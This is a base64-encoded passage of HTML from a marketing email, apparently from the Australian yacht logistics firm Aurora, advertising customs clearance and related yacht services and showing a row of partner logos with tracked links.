ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICA8YSBpZD0iUkVBRCBNT1JFID4iIHN0eWxlPSJjb2xvcjogcmdiKDEyMCwgMTIwLCAxMjAp OyB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlOyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNh LHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogOXB4OyBmb250LXdlaWdodDogYm9sZDsiIG9uY2xpY2s9 InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9 ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MGRlMmUxZThjZTFlMzRiYjQ5NGY2NDJjYWU2ZDdlM2Q5IiBi b3JkZXI9IjAiPlJlYWQgbW9yZSAmZ3Q7PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg IDwvdGJvZHk+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJsZSB3aWR0aD0iNzUwIiBo ZWlnaHQ9IjI1MSIgYWxpZ249ImNlbnRlciIgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAw cHg7IiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8dGQgd2lkdGg9IjI3IiBoZWlnaHQ9IjI1MSI+PGltZyB3aWR0aD0iMjciIGhlaWdodD0iMjUx IiBzdHlsZT0iYm9yZGVyLXN0eWxlOiBzb2xpZDsgdGV4dC1hbGlnbjogY2VudGVyOyIgYWx0PSIi IHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29tLmF1L3Jlc291cmNlcy9lbWFpbC9j b25zdHJ1Y3RzL2xlZnQuanBnIj48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9IjI1MSIgdmFs aWduPSJjZW50ZXIiIHN0eWxlPSJsaW5lLWhlaWdodDogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiBy Z2IoNTgsIDU4LCA1OCk7Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJtYXJnaW46IDBweDsgcGFkZGluZzog MHB4OyIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRib2R5PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iMTAwIiBh bGlnbj0ibGVmdCIgdmFsaWduPSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nOiAyMHB4IDBweCAwcHg7 IiBjb2xzcGFuPSIyIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGgyIHN0eWxlPSJtYXJnaW46IDBweDsgcGFk ZGluZzogMHB4OyBjb2xvcjogcmdiKDI1NSwgMjU1LCAyNTUpOyBsaW5lLWhlaWdodDogMThweDsg Zm9udC1mYW1pbHk6IEFyaWFsLEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDI1cHg7 IGZvbnQtd2VpZ2h0OiBub3JtYWw7Ij5DdXN0b21zIENsZWFyYW5jZTwvaDI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIDxwIHN0eWxlPSJtYXJnaW46IDEwcHggMHB0IDVweDsgcGFkZGluZzogMHB0OyBjb2xvcjog cmdiKDI1NSwgMjU1LCAyNTUpOyBsaW5lLWhlaWdodDogMTVweDsgZm9udC1mYW1pbHk6IEFyaWFs LEhlbHZldGljYSxzYW5zLXNlcmlmOyBmb250LXNpemU6IDEycHg7Ij5BdXJvcmEgaXMgb25lIG9m IEF1c3RyYWxpYSdzIHNwZWNpYWxpc3QgeWFjaHQgbG9naXN0aWNzL3RyYW5zcG9ydCBwcm92aWRl cnMgd2hvIGhhdmUgaW52ZXN0ZWQgaW4gYSBmdWxseSBsaWNlbnNlZCBpbi1ob3VzZSBjdXN0b21z IGJyb2tlcmFnZSBkaXZpc2lvbi48L3A+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIHN0eWxlPSJtYXJnaW46 IDBwdCAwcHQgNXB4OyBwYWRkaW5nOiAwcHQ7IGNvbG9yOiByZ2IoMjU1LCAyNTUsIDI1NSk7IGxp bmUtaGVpZ2h0OiAxNXB4OyBmb250LWZhbWlseTogQXJpYWwsSGVsdmV0aWNhLHNhbnMtc2VyaWY7 IGZvbnQtc2l6ZTogMTJweDsiPk91ciBzZXJ2aWNlcyBpbmNsdWRlOjwvcD4KICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIHdpZHRoPSIzMCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHN0eWxlPSJib3Jk ZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJvcmRlci1pbWFnZTogbm9uZTsiIGFsdD0iIiBz cmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5hdS9yZXNvdXJjZXMvZW1haWwvYnVs bGV0cy9nZW5lcmljLnBuZyI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBz dHlsZT0ibGluZS1oZWlnaHQ6IDE1cHg7Ij48c3BhbiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRp bmc6IDBweDsgY29sb3I6IHJnYigyNTUsIDI1NSwgMjU1KTsgbGluZS1oZWlnaHQ6IDE1cHg7IGZv bnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxMnB4OyI+ SW4taG91c2UgY3VzdG9tcyBhbmQgcXVhcmFudGluZSBjbGVhcmFuY2U8L3NwYW4+PC90ZD4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIz MCIgYWxpZ249ImxlZnQiIHZhbGlnbj0idG9wIj48aW1nIHN0eWxlPSJib3JkZXI6IDBweCBzb2xp ZCBjdXJyZW50Q29sb3I7IGJvcmRlci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93 d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5hdS9yZXNvdXJjZXMvZW1haWwvYnVsbGV0cy9nZW5lcmlj LnBuZyI+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIiBzdHlsZT0ibGluZS1o ZWlnaHQ6IDE1cHg7Ij48c3BhbiBzdHlsZT0ibWFyZ2luOiAwcHg7IHBhZGRpbmc6IDBweDsgY29s b3I6IHJnYigyNTUsIDI1NSwgMjU1KTsgbGluZS1oZWlnaHQ6IDE1cHg7IGZvbnQtZmFtaWx5OiBB cmlhbCxIZWx2ZXRpY2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAxMnB4OyI+QW5jaWxsYXJ5IHNl cnZpY2VzIHN1Y2ggYXMgdGVuZGVyIGJvYXQgYXJyYW5nZW1lbnRzLCBjcmV3IGhpcmUsIHRyYW5z cG9ydCwgY3JhbmUgaGlyZSwgYmVydGhhZ2UsIGJ1bmtlcmluZyBhbmQgcHJvdmlzaW9uaW5nLjwv c3Bhbj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3Rib2R5PgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPgog ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICA8L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICA8dGQgd2lkdGg9IjM0OCIgaGVpZ2h0PSIyNTEiPjxpbWcgd2lkdGg9IjM0OCIg aGVpZ2h0PSIyNTEiIHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJvcmRl ci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNv bS5hdS9yZXNvdXJjZXMvZW1haWwvY29uc3RydWN0cy9yaWdodC5qcGciPjwvdGQ+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGFibGU+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGJvZHk+CiAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDwvdGFibGU+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIgc3R5bGU9InBhZGRpbmct Ym90dG9tOiAzMHB4OyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0YWJs ZSB3aWR0aD0iNjAwIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGJvZHk+CiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWdu PSJjZW50ZXIiIHN0eWxlPSJwYWRkaW5nLXRvcDogMzBweDsiIGNvbHNwYW49IjUiPjxhIG9uY2xp Y2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNw P0U9ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MDVmNWVjMjU2MmQzNjQ0YTE5OTNiYTYyOGU0N2MyMGY1 IiB0YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj48aW1nIHdpZHRoPSIxNjAiIGhlaWdodD0iMzEi IHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJvcmRlci1pbWFnZTogbm9u ZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNvbS5hdS9yZXNvdXJj ZXMvZW1haWwvYnV0dG9ucy9xdW90ZS5wbmciPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJjZW50ZXIiIHN0eWxlPSJw YWRkaW5nLXRvcDogMzBweDsiIGNvbHNwYW49IjUiPgogICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8aDIgc3R5bGU9Im1hcmdpbjogMHB4OyBwYWRkaW5nOiAw cHg7IGNvbG9yOiByZ2IoMTAyLCAxMDIsIDEwMik7IGZvbnQtZmFtaWx5OiBBcmlhbCxIZWx2ZXRp Y2Esc2Fucy1zZXJpZjsgZm9udC1zaXplOiAyMnB4OyBmb250LXdlaWdodDogbm9ybWFsOyI+QSBT UEVDSUFMIFRIQU5LUyBUTyBPVVIgU1VQUE9SVElORyBQQVJUTkVSUzwvaDI+CiAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCIgY29sc3Bh bj0iNSI+PGltZyB3aWR0aD0iNjUwIiBoZWlnaHQ9IjIwIiBzdHlsZT0iYm9yZGVyOiAwcHggc29s aWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6IG5vbmU7IiBhbHQ9IiIgc3JjPSJodHRwOi8v d3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2NvbnN0cnVjdHMvbGlu ZS1ib3R0b20uanBnIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg YWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhy ZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTE0MDQ5NCZV PTU2MGZlOGE2NmVkNWZhNzRlNjg4NmFkYjU3NTZhNjU0ZDk1IiB0YXJnZXQ9Il9ibGFuayIgYm9y ZGVyPSIwIj48aW1nIHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJvcmRl ci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNv bS5hdS9yZXNvdXJjZXMvZW1haWwvbG9nb3MvcGFydG5lci9nZW9mZi1sb2dvLmpwZyI+PC9hPjwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBh bGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJl Zj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9 NTYwYjkzNzgwZjk0N2ExNDY4YjhjZTlhZjFjODgxMWNkOGUiIHRhcmdldD0iX2JsYW5rIiBib3Jk ZXI9IjAiPjxpbWcgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVy LWltYWdlOiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29t LmF1L3Jlc291cmNlcy9lbWFpbC9sb2dvcy9wYXJ0bmVyL3JpdmllcmEtbG9nby5qcGciPjwvYT48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQg YWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhy ZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTE0MDQ5NCZV PTU2MDgxMzkyN2I2MzJkYjRmZjA5NzNkNjliMzRlN2RlMmU5IiB0YXJnZXQ9Il9ibGFuayIgYm9y ZGVyPSIwIj48aW1nIHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJvcmRl ci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0LmNv bS5hdS9yZXNvdXJjZXMvZW1haWwvbG9nb3MvcGFydG5lci9zZWFpcmxhbmQtbG9nby5qcGciPjwv YT48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8 dGQgYWxpZ249ImNlbnRlciIgdmFsaWduPSJ0b3AiPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsi IGhyZWY9Imh0dHA6Ly9tYWlsYmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTE0MDQ5 NCZVPTU2MDRmYmVlNTI1MTYwMzQ5NGI5NjU1YTU2ZDdmYzAzYzdiIiB0YXJnZXQ9Il9ibGFuayIg Ym9yZGVyPSIwIj48aW1nIHN0eWxlPSJib3JkZXI6IDBweCBzb2xpZCBjdXJyZW50Q29sb3I7IGJv cmRlci1pbWFnZTogbm9uZTsiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3cueWFjaHQtdHJhbnNwb3J0 LmNvbS5hdS9yZXNvdXJjZXMvZW1haWwvbG9nb3MvcGFydG5lci9RTUNMb2dvLnBuZyI+PC9hPjwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBh bGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJl Zj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9 NTYwYzU4MjdjNjllZWM5NGJiMTk3NmMxZjEwNzI2NGZjOTMiIHRhcmdldD0iX2JsYW5rIiBib3Jk ZXI9IjAiPjxpbWcgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVy LWltYWdlOiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29t LmF1L3Jlc291cmNlcy9lbWFpbC9sb2dvcy9wYXJ0bmVyL2ZpeHRlY2gtbG9nby5qcGciPjwvYT48 L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvdHI+CiAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgYWxpZ249ImNlbnRlciIg dmFsaWduPSJ0b3AiPjxhIG9uY2xpY2s9InJldHVybiBmYWxzZTsiIGhyZWY9Imh0dHA6Ly9tYWls YmFuay5jb20uYXUvcmVkaXIuYXNwP0U9ODM3Mzc0NCZUPTE0MDQ5NCZVPTU2MDkxZTI1ZGQ3M2I3 MzRmNzY4YTE3ZTViOGJkMmQzZDAyIiB0YXJnZXQ9Il9ibGFuayIgYm9yZGVyPSIwIj48L2E+PC90 ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFs aWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVm PSJodHRwOi8vbWFpbGJhbmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01 NjA1ZjJkOTUyODZkNTc0ZWZiODc0Yjc3M2MyM2NkOWUyNSIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRl cj0iMCI+PC9hPjxpbWcgd2lkdGg9IjE1NSIgaGVpZ2h0PSI3NSIgYWx0PSIiIHNyYz0iaHR0cDov L3dlYnNpdGVzLm1haWxiYW5rLmNvbS5hdS9BdXJvcmFHbG9iYWxMb2dpc3RpY3MvaW1hZ2VzL3Bi LW1vdG9yLXlhY2h0cy03NzkwMTU1MS5qcGciPiZuYnNwOzxicj4KICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9w Ij48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjBmNWZiYzAyYTEwMGE0MGNmYjg5ZDI3 M2Y4MjdjN2ExYyIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGltZyBzdHlsZT0iYm9yZGVy OiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6IG5vbmU7IiBhbHQ9IiIgc3Jj PSJodHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2xvZ29z L3BhcnRuZXIvYW10aWNvLWxvZ28uanBnIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9w Ij48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsuY29tLmF1 L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjA0N2ZiNzg3NzJkYTI0OTlkYTg3MWY2 ODZkNzk4NTUzZSIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGltZyBzdHlsZT0iYm9yZGVy OiAwcHggc29saWQgY3VycmVudENvbG9yOyBib3JkZXItaW1hZ2U6IG5vbmU7IiBhbHQ9IiIgc3Jj PSJodHRwOi8vd3d3LnlhY2h0LXRyYW5zcG9ydC5jb20uYXUvcmVzb3VyY2VzL2VtYWlsL2xvZ29z L3BhcnRuZXIvZ3JhbnR0b3JyZW5zLWxvZ28uanBnIj48L2E+PC90ZD4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGln bj0idG9wIj48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJhbmsu Y29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjAzZDNmZTg2MWZiOTI0MzJk OTg2MjhkNjgyZTY3NDMzYiIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PGJyPgogICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+PC90ZD4KICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9w Ij48YnI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwv dGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBh bGlnbj0iY2VudGVyIiB2YWxpZ249InRvcCI+PGEgb25jbGljaz0icmV0dXJuIGZhbHNlOyIgaHJl Zj0iaHR0cDovL21haWxiYW5rLmNvbS5hdS9yZWRpci5hc3A/RT04MzczNzQ0JlQ9MTQwNDk0JlU9 NTYwMjQ5NjY1NzA5OGExNDY5MWIyZTNlMTIzMWZkMjc5ODIiIHRhcmdldD0iX2JsYW5rIiBib3Jk ZXI9IjAiPjxpbWcgc3R5bGU9ImJvcmRlcjogMHB4IHNvbGlkIGN1cnJlbnRDb2xvcjsgYm9yZGVy LWltYWdlOiBub25lOyIgYWx0PSIiIHNyYz0iaHR0cDovL3d3dy55YWNodC10cmFuc3BvcnQuY29t LmF1L3Jlc291cmNlcy9lbWFpbC9sb2dvcy9wYXJ0bmVyL29jZWFuLW1lZGlhLWxvZ28uanBnIj48 L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg PHRkIGFsaWduPSJjZW50ZXIiIHZhbGlnbj0idG9wIj48aW1nIGFsdD0iIiBzcmM9Imh0dHA6Ly93 ZWJzaXRlcy5tYWlsYmFuay5jb20uYXUvQXVyb3JhR2xvYmFsTG9naXN0aWNzL2ltYWdlcy9qd19t YXJpbmUuanBnIj48YSBvbmNsaWNrPSJyZXR1cm4gZmFsc2U7IiBocmVmPSJodHRwOi8vbWFpbGJh bmsuY29tLmF1L3JlZGlyLmFzcD9FPTgzNzM3NDQmVD0xNDA0OTQmVT01NjBkZWQzMjMwNzJmNTk0 YjFiODY2MGIwMTgwOTUzN2YyOSIgdGFyZ2V0PSJfYmxhbmsiIGJvcmRlcj0iMCI+PC9hPjwvdGQ+ CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGln 